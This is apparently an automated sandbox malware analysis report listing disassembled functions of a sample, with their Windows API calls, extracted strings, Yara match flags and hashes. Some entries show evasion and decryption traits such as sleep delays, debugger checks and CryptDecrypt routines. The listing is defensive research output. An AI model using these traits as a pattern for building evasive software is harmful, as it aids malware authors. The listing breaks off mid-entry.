Function 04B43F87 Relevance: 43.8, APIs: 20, Strings: 4, Instructions: 1839sleepcomCOMMON

Download Yara Rule

APIs

GetTempPathA.KERNEL32(00000104,?,0042C014,0041F068,00000000), ref: 04B43FF1
Sleep.KERNEL32(000003E8), ref: 04B44189
__Init_thread_footer.LIBCMT ref: 04B4475E
__Init_thread_footer.LIBCMT ref: 04B44924
SHGetFolderPathA.SHELL32(00000000,00000000,00000000,00000000,?,00000000,?,04B46D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B44B2E
__Init_thread_footer.LIBCMT ref: 04B44BBC
__Init_thread_footer.LIBCMT ref: 04B44E25
CoInitialize.OLE32(00000000), ref: 04B44EA6
CoCreateInstance.COMBASE(0041F290,00000000,00000001,0041F260,?), ref: 04B44EC1
__Init_thread_footer.LIBCMT ref: 04B45324
Sleep.KERNEL32(00000BB8,00000000,?,04B46CE8,0041D8A0,0042DB20,0042DB21), ref: 04B4553C
__Init_thread_footer.LIBCMT ref: 04B45632
MultiByteToWideChar.KERNEL32(00000000,00000000,00000000,000000FF,?,00000104,?,04B46D08,0041D805,0042DA9C,0042DA9D,?,00000000,00000000,0042DC1C,0042DC1D), ref: 04B44F2F

Part of subcall function 04B50A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B45CE6,00000000,0042C014), ref: 04B50A5E
Part of subcall function 04B50A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B50A7D

__Init_thread_footer.LIBCMT ref: 04B4428D

Part of subcall function 04B49EA2: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EAC
Part of subcall function 04B49EA2: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49EDF

Part of subcall function 04B42457: CreateFileA.KERNEL32(?,40000000,00000001,00000000,00000002,00000080,00000000), ref: 04B4248D
Part of subcall function 04B42457: WriteFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 04B424AE
Part of subcall function 04B42457: CloseHandle.KERNEL32(00000000), ref: 04B424B5

__Init_thread_footer.LIBCMT ref: 04B44469

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

Strings

^OX*, xrefs: 04B44DD2
]DFE, xrefs: 04B448A7
viFO, xrefs: 04B44B41
KDOX, xrefs: 04B44B4B

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: Init_thread_footer$CriticalSection$File$CreateEnterLeavePathSleepTime$ByteCharCloseFolderHandleInitializeInstanceMultiSystemTempUnothrow_t@std@@@WideWrite__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 529012138-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: cda3418ce393825e0902ee8b5d8ab36aef963833617a8ff5b5b3be6bbc790cd0
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: DEF204B0E042589FEB24CF24CC48BADBBB0EF85304F5442E8E5096B291DB75BA85DF55

Function 04D03120 Relevance: 22.8, APIs: 8, Strings: 4, Instructions: 1839COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 04D03426
__Init_thread_footer.LIBCMT ref: 04D03602
__Init_thread_footer.LIBCMT ref: 04D038F7
__Init_thread_footer.LIBCMT ref: 04D03ABD
__Init_thread_footer.LIBCMT ref: 04D044BD
__Init_thread_footer.LIBCMT ref: 04D047CB
__Init_thread_footer.LIBCMT ref: 04D03D55

Part of subcall function 04D0FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D0FC16

__Init_thread_footer.LIBCMT ref: 04D03FBE

Strings

^OX*, xrefs: 04D03F6B
KDOX, xrefs: 04D03CE4
]DFE, xrefs: 04D03A40
viFO, xrefs: 04D03CDA

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: KDOX$]DFE$^OX*$viFO
API String ID: 829385169-4238671514
Opcode ID: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction ID: 88129635c1eb5b3cbac3c2365f4df0ed5b7c99a00c2ac15b0ae6a711a23d9b97
Opcode Fuzzy Hash: d653516d6fcac4cfb1a3aecc6086a08e4b36a7bab3ac3c77805d5c8949ef4ee8
Instruction Fuzzy Hash: 89F2E1B0E042189BEB24DF24DC58BADBBB1EF05304F5482D8E5096B2D1DB74BA85CF65

Function 04B43817 Relevance: 17.7, APIs: 9, Strings: 1, Instructions: 225encryptionCOMMON

Download Yara Rule

APIs

CryptAcquireContextW.ADVAPI32(?,00000000,?,00000018,F0000000,0042C014), ref: 04B43897
CryptCreateHash.ADVAPI32(?,0000800C,00000000,00000000,?), ref: 04B438BB
CryptHashData.ADVAPI32(?,00000000,?,00000000), ref: 04B43925
GetLastError.KERNEL32 ref: 04B4392F
CryptDeriveKey.ADVAPI32(?,0000660E,?,00000000,?), ref: 04B43957
GetLastError.KERNEL32 ref: 04B43961
CryptReleaseContext.ADVAPI32(?,00000000), ref: 04B43971
CryptDecrypt.ADVAPI32(?,00000000,00000000,00000000,?,00000000), ref: 04B43A33
CryptDestroyKey.ADVAPI32(?), ref: 04B43AA5

Strings

Microsoft Enhanced RSA and AES Cryptographic Provider, xrefs: 04B43873

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: Crypt$ContextErrorHashLast$AcquireCreateDataDecryptDeriveDestroyRelease
String ID: Microsoft Enhanced RSA and AES Cryptographic Provider
API String ID: 3761881897-63410773
Opcode ID: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction ID: 1645571ac4fe89431ac4df9a00a243196a34f88d4258cdeec03d9230bf959f54
Opcode Fuzzy Hash: 40fbdad3a39ca36db9715c34553cb7c87d5092a534739f652b7b7891191c3091
Instruction Fuzzy Hash: AC814F71B002189FEF249F24CC45B9EBBB5EF89300F1481E9E94DA7291DB31AE859F51

Function 04B451B7 Relevance: 12.9, APIs: 5, Strings: 2, Instructions: 621sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 04B50A49: GetSystemTimeAsFileTime.KERNEL32(?,?,?,?,?,?,04B45CE6,00000000,0042C014), ref: 04B50A5E
Part of subcall function 04B50A49: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04B50A7D

Part of subcall function 04B49EEC: RtlEnterCriticalSection.NTDLL(0042D064), ref: 04B49EF7
Part of subcall function 04B49EEC: RtlLeaveCriticalSection.NTDLL(0042D064), ref: 04B49F34

__Init_thread_footer.LIBCMT ref: 04B45324
Sleep.KERNEL32(00000BB8,00000000,?,04B46CE8,0041D8A0,0042DB20,0042DB21), ref: 04B4553C
__Init_thread_footer.LIBCMT ref: 04B45632
Sleep.KERNEL32(000007D0), ref: 04B4599C
Sleep.KERNEL32(000007D0), ref: 04B459B6

Strings

DFEK, xrefs: 04B455C3
updateSW, xrefs: 04B458C2

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: Sleep$CriticalInit_thread_footerSectionTime$EnterFileLeaveSystemUnothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$updateSW
API String ID: 3554146954-1114742100
Opcode ID: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction ID: 66853d13e50159b3454c72ceac9a9fb111e37690f54be8abbdb1fea14e4424e0
Opcode Fuzzy Hash: 77110f7e8cc78f45bd0e6b43112bb3db69cfffe81fb6a3c2c0fb0262c7cc4dea
Instruction Fuzzy Hash: 4A3235B1E002549BEF28DF24CC987AEBBB0EF85304F1442E9D4096B291DB74AE85DF55

Function 04D04350 Relevance: 10.4, APIs: 3, Strings: 2, Instructions: 1645COMMON

Download Yara Rule

APIs

Part of subcall function 04D0FBE2: __ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z.LIBCMT ref: 04D0FC16

__Init_thread_footer.LIBCMT ref: 04D044BD
__Init_thread_footer.LIBCMT ref: 04D047CB

Strings

DFEK, xrefs: 04D0475C
U%, xrefs: 04D05D16

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID: Init_thread_footer$Unothrow_t@std@@@__ehfuncinfo$??2@
String ID: DFEK$U%
API String ID: 829385169-3435397596
Opcode ID: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction ID: 01384debf471ce94e14142a97189ff0586a5139a176f32076495f655a9d5bb9b
Opcode Fuzzy Hash: 41cbdf90dec37eb52b954d10541310d96c062ecf6e52845e935639f857fb7cc0
Instruction Fuzzy Hash: 78D2F271E002149BEB15EF24DC54BEDBBB5EF40308F5481A9E8096B2D1DB74BA85CFA1

Function 00986CC3 Relevance: 10.4, Strings: 7, Instructions: 1633COMMON

Download Yara Rule

Strings

pg, xrefs: 00987ED1
gu3_, xrefs: 00987BC1
J)w, xrefs: 00987F99
rai, xrefs: 00987D58
E$, xrefs: 0098795E
TC_, xrefs: 00987C10
r8o, xrefs: 00987862

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: J)w$TC_$gu3_$r8o$rai$E$$pg
API String ID: 0-4225702690
Opcode ID: 541edf960c7bc0efe8943d03aa0e69603412f0b19c9ad9368ec7df62add18483
Instruction ID: d444fe6848e132500915e3207691af2711fdcf4ee07d177f53029a34b9e47641
Opcode Fuzzy Hash: 541edf960c7bc0efe8943d03aa0e69603412f0b19c9ad9368ec7df62add18483
Instruction Fuzzy Hash: F6B22AF36082049FE7046E2DED8577ABBE6EBD4320F1A463DEAC4C7744E93598058693

Function 0041A306 Relevance: 10.2, APIs: 1, Strings: 4, Instructions: 1473COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0041A51D

Strings

1#QNAN, xrefs: 0041A419
1#INF, xrefs: 0041A43C
1#SNAN, xrefs: 0041A412
1#IND, xrefs: 0041A40B

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction ID: 71a107362d346717e648338213b5422f70619b5b18563a803cf0c70334ea4234
Opcode Fuzzy Hash: e4a2af43c5bc17daceace0d9627c377d7fa11afa99750231fbf68f24f9a3cb98
Instruction Fuzzy Hash: 78D22771E092288FDB65CE28DD407EAB7B5EB44314F1441EAD44DE7240E778AEC58F86

Function 009852D2 Relevance: 7.8, Strings: 5, Instructions: 1592COMMON

Download Yara Rule

Strings

v7, xrefs: 009855F7
'Tw7, xrefs: 0098608A
1.):, xrefs: 00986558
P}R, xrefs: 00985FD1
v7, xrefs: 00985618

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: v7$v7$'Tw7$1.):$P}R
API String ID: 0-381938978
Opcode ID: eefc603d710d323a7ce6b53ed6e806ee38cc0474dbe6ff2171373bf7df0ce505
Instruction ID: f48e6158a87bb4e8efd35172d846ca36899a6cc2dff6538b7a18cdffa35fb23d
Opcode Fuzzy Hash: eefc603d710d323a7ce6b53ed6e806ee38cc0474dbe6ff2171373bf7df0ce505
Instruction Fuzzy Hash: 1AB2D7F360C200AFE7046E2DED8567AFBE9EBD4720F16892DE6C4C3744E63598058696

Function 0040CDA3 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,(@), ref: 0040CE9B
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,(@), ref: 0040CEA5
UnhandledExceptionFilter.KERNEL32(004024E3,?,?,?,?,?,(@), ref: 0040CEB2

Strings

(@, xrefs: 0040CDBC

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID: (@
API String ID: 3906539128-3675327911
Opcode ID: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction ID: 588a31918c4d7a6a9ba75f52031696ab4f5dbddd8307c033202189b188a5c7dc
Opcode Fuzzy Hash: 699cb89c4481d733bc24bc723ff59a4702c04dd7a22af15121b47e74e86c8d00
Instruction Fuzzy Hash: 5E31C475911228ABCB21DF65D8897CDBBB4AF08310F5081EAE40CA7291E7749F858F48

Function 009994D1 Relevance: 6.6, Strings: 4, Instructions: 1612COMMON

Download Yara Rule

Strings

:Bw>, xrefs: 00999FEA
q=O, xrefs: 009996F8
E}z, xrefs: 0099A615
`z, xrefs: 0099A3AA

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: :Bw>$E}z$q=O$`z
API String ID: 0-378374265
Opcode ID: 07de1eb6a4442bbb8de49f0d2f91b21c6223b1c9db6def9833c423f3edfcc12b
Instruction ID: e2358c4a30078fa431a7d20a68ec40ac9c87760e47c98e988d422ca1f2da144e
Opcode Fuzzy Hash: 07de1eb6a4442bbb8de49f0d2f91b21c6223b1c9db6def9833c423f3edfcc12b
Instruction Fuzzy Hash: FAB208F3A082049FE304AE2DEC8567AFBE9EF94320F1A453DEAC4C7744E67558058697

Function 04B50B67 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 0ba3100eaa4fdd45da6491ff5e81cab4f65e130d924c1b74629f7bd5c212e1c9
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: EE022C71E012199FDF14DFA8C9807AEFBB5FF48314F2486A9D919AB390D731A941CB90

Function 04D0FD00 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 6c2d7a8c146462ba5a324ea9cfa0bf9606b88200bf4d53bcd6c6f7975e9f1e9e
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 70024E71E00219ABDB15DFA8D8807AEBBF1FF48314F248269D919EB391D731A945CB90

Function 00410900 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction ID: 1698085c936ca5c6c6a57ee88efec3ce2b030c017204745a192f91a5fd5d0df0
Opcode Fuzzy Hash: 257df63f9c0a8af9516efd39e7f9a4a8ebb064806e5099792f7b0849a0375d65
Instruction Fuzzy Hash: 8A025C71E002199BDF14CFA9D9806EEBBF1FF48314F24826AE919E7341D775A9818B84

Function 0098F78E Relevance: 6.3, Strings: 4, Instructions: 1331COMMON

Download Yara Rule

Strings

Bn, xrefs: 009906B6
k&[, xrefs: 0098F8C5
G;\_, xrefs: 0098F8B9
2-, xrefs: 0098F87C

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 2-$Bn$G;\_$k&[
API String ID: 0-2792162061
Opcode ID: 7980ee049aa2ac19cea230c4e1b6ac398d022dba72b1951425a8ef2c8c7c688f
Instruction ID: 69de963429b609f0fa99bfcb35659f77edb65c9a1995e4ca6f8fe7439ca4a303
Opcode Fuzzy Hash: 7980ee049aa2ac19cea230c4e1b6ac398d022dba72b1951425a8ef2c8c7c688f
Instruction Fuzzy Hash: EB92E4F3A0C2009FE7046E2DEC8567ABBE9EFD4720F1A893DE6C483744E67558058697

Function 04B4A7B1 Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 04B4A7BD
IsDebuggerPresent.KERNEL32 ref: 04B4A889
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 04B4A8A9
UnhandledExceptionFilter.KERNEL32(?), ref: 04B4A8B3

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 07410a963a08223e990533a2d5d27bc6f464717d2e4aa27064386d5b49861af0
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: D0312975D45218DBEB10DFA4D9897CCBBB8FF48304F1040EAE40DAB250EB71AA859F45

Function 0040A54A Relevance: 6.1, APIs: 4, Instructions: 73COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,12041A13), ref: 0040A556
IsDebuggerPresent.KERNEL32 ref: 0040A622
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 0040A642
UnhandledExceptionFilter.KERNEL32(?), ref: 0040A64C

Memory Dump Source

Source File: 00000000.00000002.2609181185.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction ID: 8b01d550a0a2fff4667565f177a0bd7aa15c2cc699040a0714bae659939ad5a8
Opcode Fuzzy Hash: b44e0052ca5400530e688fbbb916524e737d0e21bc499905028a740eb104beb1
Instruction Fuzzy Hash: 40311A75D0531CDBDB10DFA5D9897CDBBB8BF08304F1080AAE409A7290EB759A858F49

Function 04D022C0 Relevance: 5.5, Strings: 4, Instructions: 454COMMON

Download Yara Rule

Strings

p.@P.@0.@, xrefs: 04D024C5
p.@, xrefs: 04D024A9
0.@, xrefs: 04D02498
P.@, xrefs: 04D024A2

Memory Dump Source

Source File: 00000000.00000003.1947099269.0000000004D00000.00000004.00001000.00020000.00000000.sdmp, Offset: 04D00000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_4d00000_file.jbxd

Similarity

API ID:
String ID: 0.@$P.@$p.@$p.@P.@0.@
API String ID: 0-3587633984
Opcode ID: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction ID: fbb2ff2264b49390f5b26b2455b6abd2fd81030c5558e074f1e74025330fed94
Opcode Fuzzy Hash: b422344de76828a5e8cbae21da2638b275dc5e39bbf3ab9b9d7bd40fd995c566
Instruction Fuzzy Hash: 23F1AD71B01215ABDB14CF68DC89BA9B7A4FF48304F5481A9E909EB6C1E771FC11CBA4

Function 0098A2AF Relevance: 5.4, Strings: 3, Instructions: 1678COMMON

Download Yara Rule

Strings

bz{, xrefs: 0098AB83
LtE, xrefs: 0098AE83
U:m, xrefs: 0098A61E

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: LtE$U:m$bz{
API String ID: 0-3284483868
Opcode ID: 60bd2dbc7ad213160e057d8f2fdc9435d286d836660379c1e0949df821c6aac5
Instruction ID: de16fc79d3a2352f5374d9b53ac236092c96b8400d6cdec399693f4a7c027abe
Opcode Fuzzy Hash: 60bd2dbc7ad213160e057d8f2fdc9435d286d836660379c1e0949df821c6aac5
Instruction Fuzzy Hash: 31B207F3A0C204AFE304AE29DC8567AF7E9EF94720F1A493DE6C4C3744EA7558058697

Function 00991356 Relevance: 5.1, Strings: 3, Instructions: 1309COMMON

Download Yara Rule

Strings

E#h, xrefs: 00991ABC
`T?, xrefs: 009916E3
8KYq, xrefs: 009919FE

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 8KYq$E#h$`T?
API String ID: 0-1493343082
Opcode ID: d7dc5cae8670bf1926e6889c6d7773dbd30787f02f282612179521f555de2beb
Instruction ID: 4f1e9d757a86ed02a19fbbc57b87ba041b77dbca36ec5aad2bb14136ae14255a
Opcode Fuzzy Hash: d7dc5cae8670bf1926e6889c6d7773dbd30787f02f282612179521f555de2beb
Instruction Fuzzy Hash: C58218F3A082049FE7086E2DEC8577AFBE9EB94720F1A453DEAC5C3744E93558048697

Function 0099B7EF Relevance: 4.7, Strings: 3, Instructions: 979COMMON

Download Yara Rule

Strings

xF^, xrefs: 0099BC46
,VW, xrefs: 0099BB21
Gxq, xrefs: 0099BD22

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: ,VW$Gxq$xF^
API String ID: 0-4068200575
Opcode ID: 2b387fce281c06bb67075f6e1cf62dbafa86aba6795307e76e20542cb472ef26
Instruction ID: c29d188526dd612a016900c2e9faf38d682a95d7f052aaa433906ebfa9d76204
Opcode Fuzzy Hash: 2b387fce281c06bb67075f6e1cf62dbafa86aba6795307e76e20542cb472ef26
Instruction Fuzzy Hash: 635249F3A0C204AFE7046E2DEC8577ABBE9EF94760F1A493DE6C4C3744E63558018696

Function 04B4D00A Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,04B42A70), ref: 04B4D102
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,04B42A70), ref: 04B4D10C
UnhandledExceptionFilter.KERNEL32(04B4274A,?,?,?,?,?,04B42A70), ref: 04B4D119

Memory Dump Source

Source File: 00000000.00000002.2611357817.0000000004B40000.00000040.00001000.00020000.00000000.sdmp, Offset: 04B40000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4b40000_file.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction ID: 2306313b9a453870beb1b889e96d67ec782bbdad9162cccf3978907279cce485
Opcode Fuzzy Hash: eab9de89e4f223b0e8801f8ff3c4edb53ba30b9f948264c96fa02635900acdf3
Instruction Fuzzy Hash: 1531A274901228ABDB21DF64DC887CDBBB8BF58310F5041EAE81CA7250E770AB859F45

Function 10005F25 Relevance: 4.5, APIs: 3, Instructions: 20COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32(?,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F47
TerminateProcess.KERNEL32(00000000,?,10005F24,?,?,?,?,?,10001F4F), ref: 10005F4E
ExitProcess.KERNEL32 ref: 10005F60

Memory Dump Source

Source File: 00000000.00000002.2612219452.0000000010001000.00000020.00001000.00020000.00000000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000000.00000002.2612202169.0000000010000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612243212.0000000010011000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.2612263548.0000000010018000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_10000000_file.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction ID: 146749da7bea6e31057676a24497a7e39fcb2650f4e844f2ac51073fb5c6c599
Opcode Fuzzy Hash: 25e154c42a67dcf87d00edb929b2d1476c3327d7ef7788f8d8e64d02c0ecb1df
Instruction Fuzzy Hash: 02E08631404589EFEF069F10CD4CA993B69FB442C2B008024F50D8A135CB7AEDD1CB41

Function 0098882B Relevance: 4.2, Strings: 2, Instructions: 1659COMMON

Download Yara Rule

Strings

px?2, xrefs: 00988D9C
OBX}, xrefs: 00989888

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: OBX}$px?2
API String ID: 0-3196702507
Opcode ID: 749198263956f03e9fbff5c52ee38caa58488fa83737f8a18cfe0572b069469b
Instruction ID: 06edaea30c75f07298c90bc1e8ee94e3f1231372c13caf2fb5d883e5081403e4
Opcode Fuzzy Hash: 749198263956f03e9fbff5c52ee38caa58488fa83737f8a18cfe0572b069469b
Instruction Fuzzy Hash: 67B219F36082049FE3046E2DEC8577ABBEAEFD4720F1A463DEAC4C3744E97558058696

Function 0098D839 Relevance: 4.1, Strings: 2, Instructions: 1649COMMON

Download Yara Rule

Strings

6!v, xrefs: 0098DAC4
U_{, xrefs: 0098E488

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
String ID: 6!v$U_{
API String ID: 0-1119225981
Opcode ID: aae0d6efde10b3f62777932ea34941a1dd2a99ae29d4051e3aa1b1920cde45e5
Instruction ID: 3da5af08ecd6ff21460da44b49c8c4fae759b0ea5b6404982a76f1521570ac52
Opcode Fuzzy Hash: aae0d6efde10b3f62777932ea34941a1dd2a99ae29d4051e3aa1b1920cde45e5
Instruction Fuzzy Hash: 79B227F3A0C2009FE7046E2DEC8567ABBE5EF94720F1A493DEAC4C7744EA3558058697

Function 00992A41 Relevance: 4.1, Strings: 2, Instructions: 1574COMMON

Download Yara Rule

Strings

v!n}, xrefs: 00992A83
>_, xrefs: 00992F46

Memory Dump Source

Source File: 00000000.00000002.2609374987.0000000000822000.00000040.00000001.01000000.00000003.sdmp, Offset: 00822000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_822000_file.jbxd

Similarity

API ID:
